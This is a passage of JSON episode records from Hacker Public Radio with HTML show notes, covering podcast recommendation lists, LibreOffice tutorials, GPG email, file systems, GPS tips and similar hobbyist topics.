        • Description: This Week in Microbiology (TWiM). A podcast about unseen life on Earth hosted by Vincent Racaniello and friends. Following in the path of his successful shows 'This Week in Virology' (TWiV) and 'This Week in Parasitism' (TWiP), Racaniello and guests produce an informal yet informative conversation about microbes which is accessible to everyone, no matter what their science background. As a science Professor at Columbia University, Racaniello has spent his academic career directing a research laboratory focused on viruses. His enthusiasm for teaching inspired him to reach beyond the classroom using new media. TWiM is for everyone who wants to learn about the science of microbiology in a casual way. While there are no exams or pop quizzes, TWiM does encourage interaction with the audience via comments on specific episodes, email and Skype. Listeners can also use www.MicrobeWorld.org to suggest topics for the show by submitting articles, papers, video and images to the site and tagging them with \"TWiM\". Each week Racaniello will view the tagged content and select items for discussion. For questions and/or feedback please email ccondayan@asmusa.org.
        • \n
        • Category: Science
        • \n
        \n
      76. \n
      77. \n

        This Week in Parasitism

        \n
          \n
        • Website: https://microbeworld.org/twip
        • \n
        • Feed: https://twip.microbeworld.libsynpro.com/rss
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-10
        • \n
        • Description: TWiP is a monthly netcast about eukaryotic parasites. Vincent Racaniello and Dickson Despommier, science Professors from Columbia University, deconstruct parasites, how they cause illness, and how you can prevent infections.
        • \n
        • Category: Science
        • \n
        \n
      78. \n
      79. \n

        This Week in Virology with Vincent Racaniello

        \n
          \n
        • Website: https://www.twiv.tv
        • \n
        • Feed: https://feeds2.feedburner.com/twivmp3
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-11
        • \n
        • Description: This Week in Virology is a netcast about viruses - the kind that make you sick. Professors Vincent Racaniello, Dickson Despommier, Rich Condit and science writer Alan Dove and guests deconstruct viruses, how they cause illness, and how you can prevent infections.
        • \n
        • Category: Science
        • \n
        \n
      80. \n
      81. \n

        Doctor Who: Radio Free Skaro

        \n
          \n
        • Website: https://www.radiofreeskaro.com
        • \n
        • Feed: https://freyburg.libsyn.com/rss
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-05-11
        • \n
        • Description: Radio Free Skaro is possibly the most popular, most prolific and charmingly irreverent (but never irrelevant) Doctor Who podcast around. All previous episodes are available on the iTunes feed, as well as the Radio Free Skaro homepage - www.radiofreeskaro.com. Enjoy!
        • \n
        • Category: Sci-fi
        • \n
        \n
      82. \n
      \n","hostid":225,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"podcasts,recommendations","version":0,"downloads":1446,"valid":1}, {"id":1517,"date":"2014-05-27","title":"The set of prime numbers is infinite","duration":443,"summary":"johanv talks about prime numbers","notes":"

      \nIn this short article I want to talk about prime numbers. In particular:\nabout the fact that there exist an infinite number of prime numbers. This\nhas been proven more than 2000 years ago, but I noticed that a lot of\nmy friends that don't have a mathematical background, aren't aware of\nthis fact.\n

      \n

      \nYet it is rather easy to prove. So that is what I'll be doing in this\narticle. If you are afraid of math, don't worry, it won't take more than\n10 minutes.\n

      \n

      \nA transcript of this show can be found on my blog:\nhttps://www.johanv.org/node/211\n

      ","hostid":233,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"math,prime numbers","version":0,"downloads":1451,"valid":1}, {"id":1518,"date":"2014-05-28","title":"02 The podcasts I listen to","duration":1658,"summary":"I listen to a lot of podcasts and thought it might be interesting if I shared them on HPR","notes":"

      I listen to a lot of podcasts. I started listening to them back in around 2005 after buying my first portable player.

      \n

      This is a continuation of the 85 podcast feeds I subscribe to. In my last show I reported on the first 41 of the set. Here are the remaining 44 feeds.

      \n

      Note: The list below is generated by a script which performs a query on my database. I have relied on parsing the feeds themselves for the websites, using the link value. In a few cases the value is unfortunately incorrect or missing because the feed is mis-configured.

      \n

      I have included an OPML version of the list in case you want to load it or part of it into your podcatcher. Find it at https://www.hackerpublicradio.org/eps/hpr1516.opml

      \n
        \n
      1. \n

        Amateur Skeptics

        \n \n
      2. \n
      3. \n

        Geeks Without God

        \n \n
      4. \n
      5. \n

        InKredulous

        \n \n
      6. \n
      7. \n

        Rationally Speaking

        \n
          \n
        • Website: https://www.rationallyspeakingpodcast.org
        • \n
        • Feed: https://www.nycskeptics.org/storage/feeds/rs.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-04-06
        • \n
        • Description: Rationally Speaking is the bi-weekly podcast of New York City Skeptics. Join hosts Massimo Pigliucci and Julia Galef as they explore the borderlands between reason and nonsense, likely from unlikely, and science from pseudoscience. Any topic is fair game as long as we can bring reason to bear upon it, with both a skeptical eye and a good dose of humor! We agree with the Marquis de Condorcet, who said that in an open society we ought to devote ourselves to \"the tracking down of prejudices in the hiding places where priests, the schools, the government, and all long-established institutions had gathered and protected them.\" Rationally Speaking is produced by Benny Pollak and is recorded in the heart of New York City's Greenwich Village.
        • \n
        • Category: Skepticism
        • \n
        \n
      8. \n
      9. \n

        Skepticality:The Official Podcast of Skeptic Magazine

        \n \n
      10. \n
      11. \n

        Skeptics with a K

        \n \n
      12. \n
      13. \n

        Skepticule

        \n \n
      14. \n
      15. \n

        The Pod Delusion

        \n
          \n
        • Website: https://poddelusion.co.uk
        • \n
        • Feed: https://feeds.feedburner.com/ThePodDelusion
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-04-04
        • \n
        • Description: The Pod Delusion is a weekly news magazine podcast about interesting things. From politics, to science to culture and philosophy, it's commentary from a secular, rationalist, skeptical, somewhat lefty-liberal, sort of perspective.
        • \n
        • Category: Skepticism
        • \n
        \n
      16. \n
      17. \n

        The Pod Delusion » Pod Delusion Extra

        \n \n
      18. \n
      19. \n

        The Skeptics' Guide to the Universe

        \n
          \n
        • Website: https://www.theskepticsguide.org/podcast/sgu
        • \n
        • Feed: https://www.theskepticsguide.org/feed/rss.aspx?feed=SGU
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-04-10
        • \n
        • Description: The Skeptics' Guide to the Universe is a weekly Podcast talkshow discussing the latest news and topics from the world of the paranormal, fringe science, and controversial claims from a scientific point of view. -The Skeptics' Guide to the Universe: Your escape to reality -Produced by the New England Skeptical Society in association with the James Randi Educational Foundation(JREF) : https://www.theness.com
        • \n
        • Category: Skepticism
        • \n
        \n
      20. \n
      21. \n

        The Skeptic Zone

        \n
          \n
        • Website: https://www.skepticzone.tv
        • \n
        • Feed: https://skepticzone.libsyn.com/rss
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-04-13
        • \n
        • Description: The Podcast from Australia for Science and Reason. Join Richard Saunders and the crew for interviews and reports from around the world.
        • \n
        • Category: Skepticism
        • \n
        \n
      22. \n
      23. \n

        2600 - 2600: The Hackers Quarterly

        \n \n
      24. \n
      25. \n

        bsdtalk

        \n \n
      26. \n
      27. \n

        /dev/random Cast

        \n
          \n
        • Website: https://devrandomshow.org/
        • \n
        • Feed: https://devrandomshow.org/shows/?f=atom.xml
        • \n
        • Format: Atom
        • \n
        • Last episode: 2014-01-24
        • \n
        • Description: /dev/random is a show created by a bunch of random people, at a random time, on random topics that MAY be of interest ... to someone. The show is available here and WAS also available via the AWESOME Hacker Public Radio (HPR) ( https://hackerpublicradio.org/ ) until they wised up.
        • \n
        • Category: Technical
        • \n
        \n
      28. \n
      29. \n

        FLOSS Weekly (MP3)

        \n
          \n
        • Website: https://twit.tv/floss
        • \n
        • Feed: https://leoville.tv/podcasts/floss.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-04-09
        • \n
        • Description: We're not talking dentistry here; FLOSS all about Free Libre Open Source Software. Join host Randal Schwartz every Wednesday as he talks with the most interesting and important people in the Open Source and Free Software community. Records live at https://live.twit.tv/ every Wednesday at 8:30am PT/11:30am ET.
        • \n
        • Category: Technical
        • \n
        \n
      30. \n
      31. \n

        Free as in Freedom

        \n
          \n
        • Website: https://faif.us/cast/
        • \n
        • Feed: https://faif.us/feeds/cast-ogg/
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2013-10-17
        • \n
        • Description: A bi-weekly discussion of legal, policy, and other issues in the open source and software freedom community (including occasional interviews) from Brooklyn, New York, USA. Presented by Karen Sandler and Bradley M. Kuhn.
        • \n
        • Category: Technical
        • \n
        \n
      32. \n
      33. \n

        Frostcast OGG

        \n \n
      34. \n
      35. \n

        Full Circle Magazine » podcast

        \n \n
      36. \n
      37. \n

        GNU World Order

        \n \n
      38. \n
      39. \n

        Hacker Public Radio

        \n \n
      40. \n
      41. \n

        KernelPanic Oggcast

        \n \n
      42. \n
      43. \n

        Knightwise.com Audio Feed.

        \n
          \n
        • Website: https://knightwise.com
        • \n
        • Feed: https://feeds.feedburner.com/knightcastpodcast
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-02-09
        • \n
        • Description: The cross platform podcast that makes technology work for you and not the other way around. The place to go for all geeks who slide between Mac, iOS, Android, Linux and Windows offering an essential mix of hacks, tips, howto's and tweaks spiced up with a dash of geek culture. Also check out our Mediafeed that has both our audio and video episodes.
        • \n
        • Category: Technical
        • \n
        \n
      44. \n
      45. \n

        Linux Basement Podcast

        \n \n
      46. \n
      47. \n

        Linux In Da House Ogg-Vorbis Feed

        \n \n
      48. \n
      49. \n

        Linux Luddites » Ogg

        \n \n
      50. \n
      51. \n

        LinuxLUGcast – Ogg

        \n \n
      52. \n
      53. \n

        Linux News Log (ogg)

        \n \n
      54. \n
      55. \n

        Linux Outlaws

        \n
          \n
        • Website: https://sixgun.org
        • \n
        • Feed: https://feeds.feedburner.com/linuxoutlaws-ogg
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-04-13
        • \n
        • Description: Two pragmatic geeks talk about the latest news concerning Linux, free and open technology or anything else they deem noteworthy which may include such absurd things as hockey or bands you never heard of. This means there's many a joke and derailed conversation along the way, so don't come here expecting only Linux or software freedom talk — just sit back and relax, partner.
        • \n
        • Category: Technical
        • \n
        \n
      56. \n
      57. \n

        Linux Voice Podcast

        \n \n
      58. \n
      59. \n

        mintCast » OGG

        \n \n
      60. \n
      61. \n

        Network Security Podcast

        \n \n
      62. \n
      63. \n

        Security Now (MP3)

        \n
          \n
        • Website: https://twit.tv/sn
        • \n
        • Feed: https://leoville.tv/podcasts/sn.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-04-08
        • \n
        • Description: Steve Gibson, the man who coined the term spyware and created the first anti-spyware program, creator of Spinrite and ShieldsUP, discusses the hot topics in security today with Leo Laporte. Winner of the 2009 and 2007 people's choice award for best Technology/Science podcast. Records live at https://live.twit.tv/ every Tuesday at 1:00pm PT/4:00pm ET.
        • \n
        • Category: Technical
        • \n
        \n
      64. \n
      65. \n

        SourceTrunk

        \n
          \n
        • Website: https://www.sourcetrunk.com/ogg.rss
        • \n
        • Feed: https://feeds.feedburner.com/sourcetrunk_ogg
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-04-07
        • \n
        • Description: Sourcetunk will try to demystify the beautiful beast that is Open Source and show the listeners the more practical examples of Open Source and Free Software. It will discuss software for Linux, BSD, MacOSX and Microsoft Windows systems
        • \n
        • Category: Technical
        • \n
        \n
      66. \n
      67. \n

        Sunday Morning Linux Review – OGG Feed

        \n \n
      68. \n
      69. \n

        The Command Line Podcast

        \n
          \n
        • Website: https://thecommandline.net/
        • \n
        • Feed: https://feeds2.feedburner.com/cmdln
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-01-26
        • \n
        • Description: A regularly published podcast by a self-described hacker, curmudgeon and hacktivist about the practice and profession of programming drawing on over a decade of professional experience and a lifetime spent hacking, the intersection of politics and society with technology and anything else clever, elegant or funny that catches my mind as a die hard technology geek.
        • \n
        • Category: Technical
        • \n
        \n
      70. \n
      71. \n

        The Linux Link Tech Show Ogg-Vorbis Feed

        \n \n
      72. \n
      73. \n

        The Mind Tech Podcast

        \n
          \n
        • Website: https://www.mindsetcentral.com
        • \n
        • Feed: https://feeds.feedburner.com/mtechpod
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-02-26
        • \n
        • Description: The Mind Tech Podcast is your weekly dose of tech, privacy, security and conspiracy. Each week we’ll talk about the very latest tech news and the continued threats to internet freedom.
        • \n
        • Category: Technical
        • \n
        \n
      74. \n
      75. \n

        The Techie Geek Podcast

        \n \n
      76. \n
      77. \n

        The Wired.co.uk Podcast

        \n \n
      78. \n
      79. \n

        This Week in Tech (MP3)

        \n
          \n
        • Website: https://twit.tv/twit
        • \n
        • Feed: https://leoville.tv/podcasts/twit.xml
        • \n
        • Format: RSS 2.0
        • \n
        • Last episode: 2014-04-13
        • \n
        • Description: Your first podcast of the week is the last word in tech. Join Leo Laporte, Patrick Norton, Kevin Rose, John C. Dvorak, and other tech luminaries in a roundtable discussion of the latest trends in digital technology. Winner of the 2005 People's Choice Podcast Award for best overall podcast and Best Technology Podcast. Released every Sunday by midnight Pacific.
        • \n
        • Category: Technical
        • \n
        \n
      80. \n
      81. \n

        TuxRadar Linux Podcast (mp3)

        \n \n
      82. \n
      83. \n

        Ubuntu Podcast » MP3

        \n \n
      84. \n
      85. \n

        Unseen Studio » Crivins (OGG)

        \n \n
      86. \n
      87. \n

        Unseen Studio » TuxJam (OGG)

        \n \n
      88. \n
      \n","hostid":225,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"podcasts,recommendations","version":0,"downloads":1451,"valid":1}, {"id":1519,"date":"2014-05-29","title":"What's in My Bag","duration":682,"summary":"Today I am going to be going over my main bag that I carry most days.","notes":"

      \nLinks:\n

      \n\n","hostid":270,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"MOLLE,Pilot G2,Kindle Touch,Moleskine,Sansa Clip Zip,Lenovo Y580,ASUS Transformer TF101","version":0,"downloads":1398,"valid":1}, {"id":1520,"date":"2014-05-30","title":"The Ext File System","duration":313,"summary":"The Ext File System","notes":"The Ext File System","hostid":129,"series":77,"explicit":1,"license":"CC-BY-SA","tags":"file system,extended file system,ext,inode","version":0,"downloads":1654,"valid":1}, {"id":1521,"date":"2014-06-02","title":"Cardboard Greeting Cards","duration":544,"summary":"Shane Shennan explains why he makes greeting cards out of pieces of cardboard boxes","notes":"

      \nShane Shennan explains why he makes greeting cards out of pieces of cardboard boxes. He lists the supplies he uses and talks through his 3-step process.\n

      \n

      \nLinks: https://bit.ly/cardboardcards\n

      \n","hostid":250,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cardboard,greetings card","version":0,"downloads":1303,"valid":1}, {"id":1522,"date":"2014-06-03","title":"How to Use Docker and Linux Containers","duration":1899,"summary":"How to use Docker and Linux Containers","notes":"

      \nHow to use Docker and Linux Containers\n

      ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"container,Docker,Linux container,LXC,bridge interface","version":0,"downloads":1561,"valid":1}, {"id":1523,"date":"2014-06-04","title":"HPR Community News for May 2014","duration":1293,"summary":"Charles in NJ uses the call in line to give us the April news","notes":"

      New hosts

      \n

      \nThere were no new hosts this month.\n

      \n\n

      Last Month's Shows

      \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      IdTitleHost
      1499How I Got Into ComputersCharles in NJ
      1500Key SigningAhuka
      1501AWKlaindir
      1502Practical Math - Units - Distances and Area, Part 2Charles in NJ
      1503Making Waves-The DSO Pocket OscilloscopeNYbill
      1504HPR at NELF 2014 AfterpartyVarious Hosts
      150528 - LibreOffice Calc - Fills, an IntroductionAhuka
      1506HPR AudioBookClub 6 Shaman Tales Book 1 South CoastHPR_AudioBookClub
      1507HPR Community News for April 2014HPR Admins
      1508In Defense of PlayCharles in NJ
      1509HPR Needs ShowsHPR Admins
      1510What's in My Bag?Charles in NJ
      1511How to skin a snakeJezra
      1512Adopting and Renovating a Public-Domain Counterpoint TextbookJon Kulp
      1513Stir-Fried Stochasticity: Bio-BoogersEpicanis
      1514Give The Small Guy A TryBeeza
      151529 - LibreOffice Calc - Models and "What-If" AnalysisAhuka
      151601 The podcasts I listen toDave Morriss
      1517The set of prime numbers is infinitejohanv
      151802 The podcasts I listen toDave Morriss
      1519What's in My BagThaj Sara
      1520The Ext File SystemJWP
      \n\n

      Mailing List discussions

      \n

      \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes \nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

      \n

      \nDiscussed this month was:\n

      \n
        \n
      • new crowdfunder: Mike Dupont has a ongoing kickstarter https://www.kickstarter.com/projects/jamesmikedupont/wwwelectionrus/li>\n
      • Comments not working?: NYbill wanted the comments link changed. It was.
      • \n
      • A call for more shows: we ran out of shows. You responded with shows
      • \n
      • 2 notes on shows: Kevin O'Brien wanted to know if the NELF talks could be put out on the feed. Current policy is We will continue to promote new podcasts and other creative commons\nmaterial but due to a lack of slots, we are only releasing material\ncreated exclusively for HPR
      • \n
      • Please use the shownote template files: The template has been updated please use it
      • \n
      • Sending in details for old HPR shows: Please help with the effort to improve the shownotes/tags of the older episodes
      • \n
      • I'm deleting this comment as it's spam: because of .....
      • \n
      ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1279,"valid":1}, {"id":1524,"date":"2014-06-05","title":"WASHLUG 20150515 GPG and E-mail","duration":5379,"summary":"Using GPG to encrypt or sign e-mail","notes":"

      \nThis is a recording of a talk I gave at my local Linux Users Group, the Washtenaw Linux Users Group, or LUGWASH. In this talk I cover some of the theory of encryption, how to generate keys, and using this with Thunderbird, with Gmail, and on an Android phone. \n

      \n

      \nLinks:\n

      \n\n ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"GPG,email,Thunderbird,Enigmail,encrypt,sign","version":0,"downloads":1501,"valid":1}, {"id":1525,"date":"2014-06-06","title":"30 - LibreOffice Calc - A Savings Model","duration":1252,"summary":"LibreOffice, Calc, Spreadsheet, models, what-if analysis, savings","notes":"

      In the previous tutorial we discussed the fundamental ideas of building models and doing “What-If?” analysis. Now we need to take these ideas and put them into practice so you can see how this works. To do this I will create a simple model of savings over time. Now, I do want to be clear that this is a very over-simplified model and should not be taken as a good predictor of actual results. The idea is to illustrate the techniques involved in building a model and doing “What-If?” analysis.

      So. what are the variables, parameters, assumptions, etc. that we need? I have identified these in my model:

      • An initial amount of money already saved. This is the starting amount you have.
      • An amount of money you add to your savings each year.
      • The rate of return on your savings

      For the remainder of the show notes please see https://www.ahuka.com/?page_id=761

      A copy of the spreadsheet created for this program can be found at https://www.ahuka.com/?attachment_id=763

      \n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc","version":0,"downloads":1387,"valid":1}, {"id":1526,"date":"2014-06-09","title":"Penguicon 2014","duration":1617,"summary":"I review the Penguicon 2014 event with a focus on the technology talks","notes":"

      Show notes: In late fall 2013 I became involved in the Penguicon\n convention, which combines Open Source technology with Science Fiction to\n create something that I believe to be unique. I ended up taking\n responsibility for organizing the Tech Track, and we ended up with around 70\n hours of programming. I recap some of the highlights of my own personal\n experience of this event, both as a participant and as an organizer.

      \n

      Links:

      \n \n","hostid":198,"series":96,"explicit":0,"license":"CC-BY-SA","tags":"Penguicon","version":0,"downloads":1269,"valid":1}, {"id":1527,"date":"2014-06-10","title":"Surviving A Roadtrip: GPS","duration":1110,"summary":"A few GPS tricks that can help survive a roadtrip.","notes":"

      \nI have spent many, many hours in a vehicle driving around. While travelling,\nI've found a GPS to be one indispensable tool. These are some of the\nGPS-related tips that I have discovered:\n

      \n\n
        \n
      • Having a \"navigator\" - someone else to help operate the GPS - can be very\n helpful in stressful driving situations. If you have someone that can help,\n let them handle GPS programming.\n
      • \n
      • Know how to operate your GPS. Planning routes are just the beginning; know how\n to get your GPS to find food and lodging nearby, and how to change a route to\n avoid trouble (road closures, traffic jams, detours).\n
      • \n
      • Update your maps! Old map data can drive you into construction zones or route\n you into congested areas that new map data would have let you avoid.\n
      • \n
      • Be aware of tolls! The Northeast loves road tolls, and they can quickly add\n up. My GPS has the option to route around toll roads; so you can use that, or\n make sure you are prepared for that expense.\n
      • \n
      • You can also use your GPS as a normal map, except it's a map automatically\n centered on your exact position. In certain situations, this can be more\n useful than having your GPS provide you with directions.\n
      • \n
      • My GPS tells me the local speed limit, in addition to how fast I'm going. This\n is an excellent way to avoid getting a ticket.\n
      • \n
      • Mount your GPS somewhere. Looking down into your lap is a good way to find\n yourself in a gutter.\n
      • \n
      • GPS are not 100% accurate! Don't believe their lies! If the directions they\n are giving you sound bogus, use your better judgement.\n
      • \n
      • BONUS: Cameras! If you want to take pictures while on the road, try leaving\n your camera set to the \"Landscape\" macro if you have that option. It will\n prevent focus issues when taking quick shots. Also, keep your camera\n easily accessible to avoid extra distraction. If you have a navigator, they\n might be the best photographers.\n
      • \n
      ","hostid":196,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"gps","version":0,"downloads":1323,"valid":1}, {"id":1528,"date":"2014-06-11","title":"Wildswimming in France","duration":2891,"summary":"Take a break from the hacking, get on your bike and go wildswimming in a local river.","notes":"

      In this episode I take a swim along a section of the Charente river near\n Chatain in the Poitou-Charente region of France. I start upstream at the\n bridge and go down as far as the weir, then back. On the way I describe some\n of the things I am seeing, I pass some cows and a couple of French fishermen.

      \n

      Apologies for the audio quality and panting, this was recorded by an old\n MP3 player cable-tied to a woolly hat.

      \n

      \"A

      \n \n

      Mark Waters https://about.me/markwaters

      \n","hostid":279,"series":101,"explicit":1,"license":"CC-BY-SA","tags":"wildswimming, swimming, france, health, exercise, nature","version":0,"downloads":1260,"valid":1}, {"id":1529,"date":"2014-06-12","title":"TrueCrypt, Heartbleed, and Lessons Learned","duration":1117,"summary":"What is needed to have security in Open Source projects.","notes":"

      \nTwo recent events have shed light on some fundamental issues in getting security in Open Source projects. One of them is a serious bug referred to as \"Heartbleed\", and the other is the first part of a security audit of the TrueCrypt encryption program. By looking at both of these together and doing a Lessons Learned we can draw some conclusions about what is needed to have security in Open Source projects.\n

      \n

      \nLinks:\n

      \n\n ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"security, Open Source","version":0,"downloads":1521,"valid":1}, {"id":1530,"date":"2014-06-13","title":"The Ext2 File System","duration":326,"summary":"The Ext2 File System","notes":"The Ext2 File System","hostid":129,"series":77,"explicit":1,"license":"CC-BY-SA","tags":"file system,second extended filesystem,ext2,ext2fs,inode table","version":0,"downloads":1509,"valid":1}, {"id":1531,"date":"2014-06-16","title":"How I use Linux ","duration":943,"summary":"jezra talks about using Linux","notes":"

      \nHere is a list of OSs, software, and hardware that was mention. If I missed\nanything, please let me know.\n

      \n\n","hostid":243,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Geany,nano,virtualbox,glmr,Ruby Web Alarm,blather,MuttonChop,Raspberry Pi,Beaglebone,Nokia N900","version":0,"downloads":1596,"valid":1}, {"id":1532,"date":"2014-06-17","title":"Project Idea - White-Hat Spam Bot","duration":959,"summary":"Knightwise and Keith discuss their fledgling open-source project to manage social media promotion.","notes":"

      If you run a blog or a podcast, promoting your material can take as much time (or more) than content creation itself. Just like a small business marketing and promoting your efforts take time, effort and energy that can take you away from what you'd rather be doing: making great stuff.

      \n

      This podcast discusses the germ of an idea, and its fledgling implementation, for creating an open-source tool for managing the distribution of posts to social media and doing it in as non-spammy a way as possible.

      \n

      The premise is simple: take information from a number of disparate sources, and promote it to a number of disparate destinations. The challenge is doing it without violating the social norms of the destination networks, and without crossing the line between promotion and spaminess.

      \n","hostid":266,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"social media,schedule,distribution","version":0,"downloads":1322,"valid":1}, {"id":1533,"date":"2014-06-18","title":"Beginner's guide to the night sky 2","duration":1499,"summary":"A review of some astronomy software, as used on the planet Earth, by a geeky chap.","notes":"

      \nThis is a review of some astronomy software, as used\non the Earth in the early 21st Century, by a somewhat\ngeeky chap. In this episode, I talk a little about two astronomy apps\navailable for Android and another two available for GNU/Linux (and other)\ndesktops.\n

      \n

      \nErratum: I referred to Star Map but I meant Star Chart. Doh!\n

      \n

      \nIn reverse order of how much I use and like them (most used/liked last):\n

      \n

      \nhttps://www.stellarium.org - Available for all major operating systems.\nThis link shows you how to add your own comets: https://www.wikihow.com/Add-Comet-ISON-to-Stellarium\n

      \n

      \nhttps://edu.kde.org/kstars/ - KStars is part of the KDE SC Software Compilation) and so will be easy to install if you're a KDE user, or if you're not, \"easy\" after a few dependencies are installed.\n

      \n

      \nGoogle Sky Map can be installed on your mobile device using either f-droid or Google Play: https://f-droid.org/repository/browse/?fdfilter=sky&fdid=com.google.android.stardroid\nhttps://play.google.com/store/apps/details?id=com.google.android.stardroid\n

      \n

      \nIf you like eye-candy, then Star Chart may be for you, get it on Google Play here:\nhttps://play.google.com/store/apps/details?id=com.escapistgames.starchart\n

      ","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"astronomy,Stellarium,KStars,Google Sky Map,Star Chart","version":0,"downloads":1318,"valid":1}, {"id":1534,"date":"2014-06-19","title":"My Introduction to HPR","duration":269,"summary":"semioticrobotic talks about himself and his involvement with opensource.com","notes":"

      \nIn this episode, I introduce myself to the Hacker Public Radio community and discuss a website to which I contribute: opensource.com. \n

      \n

      \nLinks:\n

      \n\n","hostid":280,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"introduction","version":0,"downloads":1326,"valid":1}, {"id":1535,"date":"2014-06-20","title":"31 - LibreOffice Calc - Sheet Editing and Navigation","duration":1238,"summary":"Editing and navigating sheets, rows and columns in LibreOffice Calc","notes":"\n

      This episode covers various editing techniques you might use, including multiple sheets, and adding, removing and hiding rows and columns. We also discuss how to navigate around a multiple sheet spreadsheet.

      \n

      LibreOffice Calc, like all spreadsheets, contains a large number of cells in various rows, columns, and sheets, and navigating that can get a little tricky. As we saw previously, each cell has an address, which is marked by the column (letters) and the row (numbers), always in that order. But in fact the address can be larger because we never discussed sheets.

      \n

      By default, when you create a new Calc spreadsheet you will have three sheets in it, which you see as tabs along the bottom of the screen. They will be called Sheet 1, Sheet 2, and Sheet 3 at this point. But these defaults can be changed by going to Tools–>Options–>LibreOffice Calc–>Defaults. On this screen you can decide how many sheets you want to have on a new document. While the default as it comes is three (similar to Microsoft Excel) you can change it. On my copy of Calc I changed it to 1, because most of the time I never need more than one sheet for my work. I can also change the default naming of new sheets here. Instead of each sheet being “Sheet 1″, Sheet 2″, etc. I could make it something else, like “Tab 1″, “Tab 2″. and so on. I never bother with this though, because I will always name my sheets for what they are doing in a given spreadsheet (e.g. look at what I did when I created the simple model for “What-If” analysis.) And if I need to add a sheet, I can just go to Insert–>Sheet to bring up a window to specify where the sheet should go, what it should be named, or even insert a sheet from a file . A CSV file would be a very good choice here, such as if you wanted to bring in data from a database or another spreadsheet for use in the current spreadsheet.

      \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc","version":0,"downloads":1309,"valid":1}, {"id":1536,"date":"2014-06-23","title":"The 150-in-1 Electronic Project Kit","duration":716,"summary":"CPrompt talks about the Science Fair 150-in-1 Electronic Project Kit.","notes":"

      In this episode CPrompt travels down a little memory lane and talks about a childhood favorite, the Science Fair 150-in-1 Electronic Project Kit.

      Links:

      \n","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Science Fair,Radio Shack,electronic project kit,150-in-1,DuinoKit","version":0,"downloads":1347,"valid":1}, {"id":1537,"date":"2014-06-24","title":"How I make Coffee","duration":411,"summary":"x1101 explains how he makes coffee","notes":"

      \nx1101 explains how he makes coffee\n

      \n\n\n","hostid":276,"series":88,"explicit":0,"license":"CC-BY-SA","tags":"coffee,coffee grinder,coffee beans,percolator","version":0,"downloads":1322,"valid":1}, {"id":1538,"date":"2014-06-25","title":"Overhauling the School of Music website","duration":1740,"summary":"I discuss how I overhauled an outdated website for my employer.","notes":"

      \nI discuss the process of overhauling a badly out-of-date website to make it conform to accessibility standards and give it a responsive design. I also discuss how I came up with my own content management system by Bash scripting.\n

      \n

      \nLinks\n

      \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CSS, html, scripting, accessibility","version":0,"downloads":1257,"valid":1}, {"id":1539,"date":"2014-06-26","title":"An Open Source News Break from Opensource.com","duration":277,"summary":"An Open Source News Break from Opensource.com","notes":"

      \nIn this episode: an ethical cryptocurrency, open source resources for learning Old English, and an interview with the Director of New Media Technologies at the Executive Office of the President in the United States.\n

      \n

      \nLinks:\n

      \n\n","hostid":280,"series":28,"explicit":0,"license":"CC-BY-SA","tags":"newscast,Opensource.com","version":0,"downloads":1364,"valid":1}, {"id":1540,"date":"2014-06-27","title":"The Journaling File System","duration":326,"summary":"The Journaling File System","notes":"The Journaling File System\n","hostid":129,"series":77,"explicit":1,"license":"CC-BY-SA","tags":"file system,journaling file system,inode","version":0,"downloads":1479,"valid":1}, {"id":1541,"date":"2014-06-30","title":"How I Came To Linux","duration":2179,"summary":"ClaudioM talks about how he came to computers and to Linux","notes":"

      \nClaudioM talks about how he came to Linux beginning with an introduction on how he came to computers and how a simple advertisement for an UNIX book would eventually lead to his love for Linux.\n

      \n

      Helpful Links

      \n

      \nMattel Aquarius:\n

      \n\n\n\n

      \nFamily Computing:\n

      \n\n\n\n

      \nSEFLIN Freenet:\n

      \n\n\n\n

      \nLinux/PowerPC:\n

